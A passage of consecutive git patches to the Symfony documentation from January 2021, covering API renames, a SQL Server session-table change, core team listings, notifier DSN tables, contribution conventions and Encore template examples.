 | ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | GET        | rule #3 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match the first rule, so the second      |
 |                 |             |             |             |            |                                | rule (which matches) is used.                               |

From 03611c500c93ec97549d743d0fcf1d6fb6d3d403 Mon Sep 17 00:00:00 2001
From: Alihasana SHAIKALAUDDEEN <32835040+alihasana@users.noreply.github.com>
Date: Mon, 11 Jan 2021 16:54:50 +0100
Subject: [PATCH 0371/5766] Update access_denied_handler.rst

getException is deprecated from symfony 4.4,  as per event listerner docs we have to use getThrowable()
---
 security/access_denied_handler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 8601218ab56..42ee7fe5dd9 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -210,7 +210,7 @@ configure a :ref:`kernel.exception listener <use-kernel-exception-event>`::
 
         public function onKernelException(ExceptionEvent $event): void
         {
-            $exception = $event->getException();
+            $exception = $event->getThrowable();
             if (!$exception instanceof AccessDeniedException) {
                 return;
             }

From 74fdd75b65cda79d6d34e8f46a27d06e4cecce89 Mon Sep 17 00:00:00 2001
From: Lukas <lukasbownik99@gmail.com>
Date: Tue, 12 Jan 2021 09:25:37 +0100
Subject: [PATCH 0372/5766] Change in table creation SQL for SQL Server

I propose to change VARBINARY to NVARCHAR, because for the newest version of drivers and SQL Server 17 or newer this script creates a table which is not valid: PdoSessionHandler actually tries to insert string in sess_data not binary data.
What's more: VARBINARY(max) is about 8kB long at most whereas NVARCHAR can contain up to 2GB of data.
There is of course another way, suggested by ODBC error while trying to insert data to sessions created like shown: use convert during inserting, however I would not consider it a way.
---
 session/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index 8766ab9f2a8..badd1412145 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -417,7 +417,7 @@ Microsoft SQL Server
 
     CREATE TABLE sessions (
         sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
-        sess_data VARBINARY(MAX) NOT NULL,
+        sess_data NVARCHAR(MAX) NOT NULL,
         sess_lifetime INTEGER NOT NULL,
         sess_time INTEGER NOT NULL
     );

From bcad249b29919c8fbfa1b5afb74531c303d55b66 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 12 Jan 2021 14:44:13 +0100
Subject: [PATCH 0373/5766] Remove HeahDude from the docs team

---
 contributing/code/core_team.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 9ff45966cbb..d0e86f646a9 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -91,7 +91,6 @@ Active Core Members
   * **Ryan Weaver** (`weaverryan`_);
   * **Christian Flothmann** (`xabbuh`_);
   * **Wouter De Jong** (`wouterj`_);
-  * **Jules Pietri** (`HeahDude`_);
   * **Javier Eguiluz** (`javiereguiluz`_).
   * **Oskar Stark** (`OskarStark`_).
 
@@ -202,7 +201,6 @@ discretion of the **Project Leader**.
 .. _`yceruto`: https://github.com/yceruto
 .. _`michaelcullum`: https://github.com/michaelcullum
 .. _`wouterj`: https://github.com/wouterj
-.. _`HeahDude`: https://github.com/HeahDude
 .. _`OskarStark`: https://github.com/OskarStark
 .. _`romainneutron`: https://github.com/romainneutron
 .. _`lsmith77`: https://github.com/lsmith77/

From 032260a907ef425cc3bfb4c1703d722a5e538d89 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Tue, 12 Jan 2021 14:49:50 +0100
Subject: [PATCH 0374/5766] add HeahDude to the list of former members

---
 contributing/code/core_team.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index d0e86f646a9..9b48e8c4178 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -104,7 +104,8 @@ Symfony contributions:
 * **Abdellatif AitBoudad** (`aitboudad`_);
 * **Romain Neutron** (`romainneutron`_);
 * **Jordi Boggiano** (`Seldaek`_);
-* **Lukas Kahwe Smith** (`lsmith77`_).
+* **Lukas Kahwe Smith** (`lsmith77`_);
+* **Jules Pietri** (`HeahDude`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -201,6 +202,7 @@ discretion of the **Project Leader**.
 .. _`yceruto`: https://github.com/yceruto
 .. _`michaelcullum`: https://github.com/michaelcullum
 .. _`wouterj`: https://github.com/wouterj
+.. _`HeahDude`: https://github.com/HeahDude
 .. _`OskarStark`: https://github.com/OskarStark
 .. _`romainneutron`: https://github.com/romainneutron
 .. _`lsmith77`: https://github.com/lsmith77/

From 0636c9dffe75723c867a0f4f61c725e9a1daf7cb Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Tue, 12 Jan 2021 19:19:42 +0100
Subject: [PATCH 0375/5766] [Mailer] Add missing transports entry in XML and
 PHP configurations

---
 mailer.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 86683f365c1..90472439eb5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -978,6 +978,7 @@ you have a transport called ``async``, you can route the message there:
 
             <framework:config>
                 <framework:messenger>
+                    <framework:transport name="async">%env(MESSENGER_TRANSPORT_DSN)%</framework:transport>
                     <framework:routing message-class="Symfony\Component\Mailer\Messenger\SendEmailMessage">
                         <framework:sender service="async"/>
                     </framework:routing>
@@ -990,6 +991,9 @@ you have a transport called ``async``, you can route the message there:
         // config/packages/messenger.php
         $container->loadFromExtension('framework', [
             'messenger' => [
+                'transports' => [
+                    'async' => '%env(MESSENGER_TRANSPORT_DSN)%',
+                ],
                 'routing' => [
                     'Symfony\Component\Mailer\Messenger\SendEmailMessage' => 'async',
                 ],

From a4d0c61d1254295aa1318e277dd7e2df225556d9 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 14 Jan 2021 00:29:39 +0100
Subject: [PATCH 0376/5766] Fixed diagram sizes

---
 _images/form/form_prepopulation_workflow.svg | 4 +---
 _images/form/form_submission_workflow.svg    | 4 +---
 _images/form/form_workflow.svg               | 4 +---
 3 files changed, 3 insertions(+), 9 deletions(-)

diff --git a/_images/form/form_prepopulation_workflow.svg b/_images/form/form_prepopulation_workflow.svg
index c44fa6b19e7..1db13f94c72 100644
--- a/_images/form/form_prepopulation_workflow.svg
+++ b/_images/form/form_prepopulation_workflow.svg
@@ -1,6 +1,4 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
-<svg width="48cm" height="9cm" viewBox="918 1177 943 167" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+<svg width="700" viewBox="918 1177 943 167" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
   <g id="prepopulation">
     <g>
       <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="920" y="1280" width="160" height="63.7055" rx="6" ry="6"/>
diff --git a/_images/form/form_submission_workflow.svg b/_images/form/form_submission_workflow.svg
index e9ffc4043f7..b58e11190a1 100644
--- a/_images/form/form_submission_workflow.svg
+++ b/_images/form/form_submission_workflow.svg
@@ -1,6 +1,4 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
-<svg width="27cm" height="29cm" viewBox="977 1538 524 566" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+<svg width="400" viewBox="977 1538 524 566" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
   <g id="submission">
     <g>
       <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1901.61" width="109" height="23.3724"/>
diff --git a/_images/form/form_workflow.svg b/_images/form/form_workflow.svg
index 432a7c51e47..a256c2073ef 100644
--- a/_images/form/form_workflow.svg
+++ b/_images/form/form_workflow.svg
@@ -1,6 +1,4 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/PR-SVG-20010719/DTD/svg10.dtd">
-<svg width="27cm" height="21cm" viewBox="1357 517 524 407" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
+<svg width="400" viewBox="1357 517 524 407" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
   <g id="global workflow">
     <g>
       <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1480" y="620" width="160" height="63.7055" rx="6" ry="6"/>

From 8ecd1627acf38b106f0d4b98efdf729aa7fe67af Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Thu, 14 Jan 2021 08:06:38 +0100
Subject: [PATCH 0377/5766] Clarify how to write a commit message and
 CHANGELOGs

---
 contributing/code/conventions.rst   | 86 +++++++++++++++++++++++------
 contributing/code/pull_requests.rst | 22 ++++----
 2 files changed, 80 insertions(+), 28 deletions(-)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index c5dda7e7972..3174ac93660 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -7,8 +7,10 @@ coding standards and conventions used in the core framework to make it more
 consistent and predictable. You are encouraged to follow them in your own
 code, but you don't need to.
 
-Method Names
-------------
+.. _method-names:
+
+Naming a Method
+---------------
 
 When an object has a "main" many relation with related "things"
 (objects, parameters, ...), the method names are normalized:
@@ -77,19 +79,63 @@ must be used instead (where ``XXX`` is the name of the related thing):
     ``replaceXXX()``, on the other hand, cannot add new elements. If an unrecognized
     key is passed to ``replaceXXX()`` it must throw an exception.
 
+Writing a CHANGELOG Entry
+-------------------------
+
+When adding a new feature in a minor version or deprecating an existing
+behavior, an entry to the relevant CHANGELOG(s) should be added.
+
+New features and deprecations must be described in a file named
+``CHANGELOG.md`` that should be at the root directory of the modified
+Component, Bridge or Bundle.
+
+The file must be written with the Markdown syntax and follow the following
+conventions:
+
+* The main title is always ``CHANGELOG``;
+
+* Each entry must be added to a minor version section (like ``5.3``) as a list
+  element;
+
+* No third level sections are allowed;
+
+* Messages should follow the commit message conventions: should be short,
+  capitalize the line, do not end with a period, use an imperative verb to
+  start the line;
+
+* New entries must be added on top of the list.
+
+Here is a complete example for reference:
+
+.. code-block:: markdown
+
+    CHANGELOG
+    =========
+
+    5.3
+    ---
+
+     * Add `MagicConfig` that allows configuring things
+
+.. note::
+
+    The main ``CHANGELOG-*`` files at the ``symfony/symfony`` root directory
+    are automatically generated when releases are prepared and should never be
+    modified manually.
+
 .. _contributing-code-conventions-deprecations:
 
 Deprecating Code
 ----------------
 
-From time to time, some classes and/or methods are deprecated in the
-framework; that happens when a feature implementation cannot be changed
-because of backward compatibility issues, but we still want to propose a
-"better" alternative. In that case, the old implementation can be **deprecated**.
+From time to time, some classes and/or methods are deprecated in the framework;
+that happens when a feature implementation cannot be changed because of
+backward compatibility issues, but we still want to propose a "better"
+alternative. In that case, the old implementation can be **deprecated**.
 
 Deprecations must only be introduced on the next minor version of the impacted
-component (or bundle, or bridge, or contract).
-They can exceptionally be introduced on previous supported versions if they are critical.
+component (or bundle, or bridge, or contract). They can exceptionally be
+introduced on previous supported versions if they are critical.
 
 A new class (or interface, or trait) cannot be introduced as deprecated, or
 contain deprecated methods.
@@ -144,10 +190,10 @@ after the use declarations, like in this example from
 
 The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component::
 
-    4.4.0
-    -----
+    4.4
+    ---
 
-    * Deprecated the `Deprecated` class, use `Replacement` instead.
+    * Deprecate the `Deprecated` class, use `Replacement` instead
 
 It must also be added to the ``UPGRADE.md`` file of the targeted minor version
 (``UPGRADE-4.4.md`` in our example)::
@@ -155,15 +201,17 @@ It must also be added to the ``UPGRADE.md`` file of the targeted minor version
     DependencyInjection
     -------------------
 
-    * Deprecated the `Deprecated` class, use `Replacement` instead.
+     * Deprecate the `Deprecated` class, use `Replacement` instead
 
 Finally, its consequences must be added to the ``UPGRADE.md`` file of the next major version
-(``UPGRADE-5.0.md`` in our example)::
+(``UPGRADE-5.0.md`` in our example):
+
+.. code-block:: markdown
 
     DependencyInjection
     -------------------
 
-    * Removed the `Deprecated` class, use `Replacement` instead.
+     * Remove the `Deprecated` class, use `Replacement` instead
 
 All these tasks are mandatory and must be done in the same pull request.
 
@@ -174,12 +222,14 @@ Removing deprecated code can only be done once every 2 years, on the next major
 impacted component (``master`` branch).
 
 When removing deprecated code, the consequences of the deprecation must be added to the ``CHANGELOG.md`` file
-of the impacted component::
+of the impacted component:
+
+.. code-block:: markdown
 
-    5.0.0
-    -----
+    5.0
+    ---
 
-    * Removed the `Deprecated` class, use `Replacement` instead.
+     * Remove the `Deprecated` class, use `Replacement` instead
 
 This task is mandatory and must be done in the same pull request.
 
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index f76e778763f..e69371e9d5e 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -224,7 +224,18 @@ in mind the following:
 * Never fix coding standards in some existing code as it makes the code review
   more difficult;
 
-* Write good commit messages (see the tip below).
+* Write good commit messages: Start by a short subject line (the first line),
+  followed by a blank line and a more detailed description.
+
+  The subject line should start with the Component, Bridge or Bundle you are
+  working on in square brackets (``[DependencyInjection]``,
+  ``[FrameworkBundle]``, ...).
+
+  Then, capitalize the sentence, do not end with a period, and use an
+  imperative verb to start.
+
+  Here is a full example of a subject line: ``[MagicBundle] Add `MagicConfig`
+  that allows configuring things``.
 
 .. tip::
 
@@ -235,15 +246,6 @@ in mind the following:
     A status is posted below the pull request description with a summary
     of any problems it detects or any `Travis-CI`_ build failures.
 
-.. tip::
-
-    A good commit message is composed of a summary (the first line),
-    optionally followed by a blank line and a more detailed description. The
-    summary should start with the Component you are working on in square
-    brackets (``[DependencyInjection]``, ``[FrameworkBundle]``, ...). Use a
-    verb (``fixed ...``, ``added ...``, ...) to start the summary and don't
-    add a period at the end.
-
 .. _prepare-your-patch-for-submission:
 
 Prepare your Pull Request for Submission

From 81e0f46e2b87425ac425ee498a6db74d8af063b5 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Thu, 14 Jan 2021 10:32:44 +0100
Subject: [PATCH 0378/5766] add Oskar to the Symfony core team

---
 contributing/code/core_team.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 9b48e8c4178..4c719ff4330 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -72,7 +72,8 @@ Active Core Members
   * **Wouter De Jong** (`wouterj`_);
   * **Alexander M. Turek** (`derrabus`_);
   * **Jérémy Derussé** (`jderusse`_);
-  * **Titouan Galopin** (`tgalopin`_).
+  * **Titouan Galopin** (`tgalopin`_);
+  * **Oskar Stark** (`OskarStark`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
 

From 5f70432f366e62bdced954c95ef94aa86baa4de2 Mon Sep 17 00:00:00 2001
From: Piergiuseppe Longo <plongo@alteanet.it>
Date: Thu, 22 Oct 2020 19:48:29 +0200
Subject: [PATCH 0379/5766] [Notifier] Add gatewayapi-notifier

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 966124b01bb..56543824d46 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -58,6 +58,7 @@ Service     Package                           DSN
 ==========  ================================  ====================================================
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
+GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
 Infobip     ``symfony/infobip-notifier``      ``infobip://ACCESS_TOKEN@HOST?from=FROM``
 Iqsms       ``symfony/iqsms-notifier``        ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
@@ -80,7 +81,7 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms and Octopush integrations were introduced in Symfony 5.3.
+    The Iqsms, GatewayApi and Octopush integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 7cb4c17cb976950e1a91b22f5d69261d3b1fc3b1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 14 Jan 2021 14:06:07 +0100
Subject: [PATCH 0380/5766] Sync with README from the bridge

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index ca6f17ed9a9..d328084c0b8 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,7 +59,7 @@ Service     Package                           DSN
 ==========  ================================  ====================================================
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
-Infobip     ``symfony/infobip-notifier``      ``infobip://ACCESS_TOKEN@HOST?from=FROM``
+Infobip     ``symfony/infobip-notifier``      ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
 OvhCloud    ``symfony/ovh-cloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``

From 058dfaaf96a6fe3b255b4076a172afaf50542df1 Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Wed, 23 Dec 2020 15:04:21 +0100
Subject: [PATCH 0381/5766] [Notifier] Add AllMySms service to list

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index e6f2c653996..c27eb8ae51b 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -56,6 +56,7 @@ with a couple popular SMS services:
 ==========  ================================  ====================================================
 Service     Package                           DSN
 ==========  ================================  ====================================================
+AllMySms    ``symfony/allmysms-notifier``     ``allmysms://LOGIN:APIKEY@default?from=FROM``
 Esendex     ``symfony/esendex-notifier``      ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
@@ -81,7 +82,8 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi and Octopush integrations were introduced in Symfony 5.3.
+    The Iqsms, GatewayApi, Octopush and AllMySms integrations were introduced in Symfony 5.3.
+
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From debedc3af64757a7ff87e64d643b92f549b465e7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 15 Jan 2021 07:58:55 +0100
Subject: [PATCH 0382/5766] Rename threadKey to thread_key

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index c27eb8ae51b..da02d2a585d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -150,7 +150,7 @@ Service     Package                           DSN
 ==========  ================================  ===========================================================================
 Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
 Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@default``
-GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?threadKey=THREAD_KEY``
+GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``

From e6a6c33bf2df1fb1e89cf4084ff2babdaedf7022 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Mon, 11 Jan 2021 16:27:20 +0100
Subject: [PATCH 0383/5766] Add warning about removed services

---
 testing.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/testing.rst b/testing.rst
index 8c9550f64ca..36646e7d407 100644
--- a/testing.rst
+++ b/testing.rst
@@ -590,6 +590,12 @@ container is a service that can be get via the normal container::
         // ...
     }
 
+.. caution::
+
+    The special container ``test.service_container`` doesn't give access
+    to the services that have been removed. In this case, you'll have
+    to declare the services you need as public.
+
 .. tip::
 
     If the information you need to check is available from the profiler, use

From 3a9cc3824d089ce8f6fb407517cde81be8ae38cb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 Jan 2021 17:08:38 +0100
Subject: [PATCH 0384/5766] Rewords

---
 testing.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 36646e7d407..c3dd66c7f9c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -592,9 +592,10 @@ container is a service that can be get via the normal container::
 
 .. caution::
 
-    The special container ``test.service_container`` doesn't give access
-    to the services that have been removed. In this case, you'll have
-    to declare the services you need as public.
+    The special container ``test.service_container`` doesn't give access to the
+    private services that have been removed (those who are not used by any
+    other services). The solution is to declare those private services as public
+    in the ``config/services_test.yaml`` file.
 
 .. tip::
 

From 0d09b1f4ee24230667800f57d22048cfde24272f Mon Sep 17 00:00:00 2001
From: Jan Richter <falnyr@gmail.com>
Date: Tue, 12 Jan 2021 07:14:44 +1300
Subject: [PATCH 0385/5766] Update introduction.rst

PHP 5.5 is no longer supported
---
 create_framework/introduction.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index 1c068942110..dfef9228e44 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -62,7 +62,7 @@ Before You Start
 
 Reading about how to create a framework is not enough. You will have to follow
 along and actually type all the examples included in this tutorial. For that,
-you need a recent version of PHP (5.5.9 or later is good enough), a web server
+you need a recent version of PHP (7.4 or later is good enough), a web server
 (like Apache, nginx or PHP's built-in web server), a good knowledge of PHP and
 an understanding of Object Oriented programming.
 

From ebdf28d811a8de05d691ed1cfb0c12d302f6fbec Mon Sep 17 00:00:00 2001
From: Thomas Calvet <calvet.thomas@gmail.com>
Date: Thu, 7 Jan 2021 18:35:17 +0100
Subject: [PATCH 0386/5766] [Serializer] Add UidNormalizer normalization
 formats

---
 components/serializer.rst | 23 ++++++++++++++---------
 1 file changed, 14 insertions(+), 9 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 73637fcf1a1..68a7f90f7c7 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -829,21 +829,25 @@ The Serializer component provides several built-in normalizers:
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
     This normalizer converts objects that implement
-    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings. Also it can
-    denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
-    or :class:`Symfony\\Component\\Uid\\Ulid`.
+    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
+    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
+    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
+    You can change the string format by setting the serializer context option
+    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
+    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
+
+    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
+    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
 
 .. versionadded:: 5.2
 
     The ``UidNormalizer`` was introduced in Symfony 5.2.
 
-.. note::
-
-    You can also create your own Normalizer to use another structure. Read more at
-    :doc:`/serializer/custom_normalizer`.
+.. versionadded:: 5.3
 
-All these normalizers are enabled by default when using the Serializer component
-in a Symfony application.
+    The ``UidNormalizer`` normalization formats were introduced in Symfony 5.3.
 
 .. _component-serializer-encoders:
 
@@ -1616,3 +1620,4 @@ Learn more
 .. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
 .. _`API Platform`: https://api-platform.com
 .. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
+.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122

From d1e5e5ca36bff58a7777c1c5f42ce100360a8864 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 15 Jan 2021 17:49:15 +0100
Subject: [PATCH 0387/5766] Minor tweak

---
 bundles/best_practices.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 010ba551832..696c9da58ff 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -178,10 +178,10 @@ A bundle should at least test:
 
 * The lower bound of their dependencies (by running ``composer update --prefer-lowest``);
 * The supported PHP versions;
-* All supported major Symfony versions (e.g. both ``3.x`` and ``4.x`` if
+* All supported major Symfony versions (e.g. both ``4.x`` and ``5.x`` if
   support is claimed for both).
 
-Thus, a bundle support PHP 7.3, 7.4 and 8.0, and Symfony 3.4 and 4.x should
+Thus, a bundle supporting PHP 7.3, 7.4 and 8.0, and Symfony 3.4 and 4.x should
 have at least this test matrix:
 
 ===========  ===============  ===================

From 8c2c794690cac9239ed84e8a393f03a158db9c32 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Fri, 15 Jan 2021 14:13:07 -0500
Subject: [PATCH 0388/5766] Updating {% block javascripts position to match
 recipe change

---
 .doctor-rst.yaml                          |  2 +-
 frontend/encore/simple-example.rst        | 24 +++++++++++++----------
 introduction/from_flat_php_to_symfony.rst |  2 +-
 3 files changed, 16 insertions(+), 12 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 8da0ebdd6af..e71ca735f09 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -78,7 +78,7 @@ whitelist:
         - 'The bin/console Command'
         - '# username is your full Gmail or Google Apps email address'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
-        - '.. versionadded:: 0.21.0' # Encore
+        - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 0.28.4' # Encore
         - '.. versionadded:: 2.4.0' # SwiftMailer
         - '.. versionadded:: 1.30' # Twig
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index d4f74989aa1..4373f9c3b66 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -104,18 +104,18 @@ can do most of the work for you:
                 <!-- Renders a link tag (if your module requires any CSS)
                      <link rel="stylesheet" href="/build/app.css"> -->
             {% endblock %}
-        </head>
-        <body>
-            <!-- ... -->
 
             {% block javascripts %}
                 {{ encore_entry_script_tags('app') }}
 
                 <!-- Renders app.js & a webpack runtime.js file
-                    <script src="/build/runtime.js"></script>
-                    <script src="/build/app.js"></script> -->
+                    <script src="/build/runtime.js" defer></script>
+                    <script src="/build/app.js" defer></script>
+                    See note below about the "defer" attribute -->
             {% endblock %}
-        </body>
+        </head>
+
+        <!-- ... -->
     </html>
 
 .. _encore-entrypointsjson-simple-description:
@@ -135,11 +135,14 @@ If you're *not* using Symfony, you can ignore the ``entrypoints.json`` file and
 point to the final, built file directly. ``entrypoints.json`` is only required for
 some optional features.
 
-.. versionadded:: 0.21.0
+.. versionadded:: 1.9.0
 
-    The ``encore_entry_link_tags()`` comes from WebpackEncoreBundle and relies
-    on a feature in Encore that was first introduced in version 0.21.0. Previously,
-    the ``asset()`` function was used to point directly to the file.
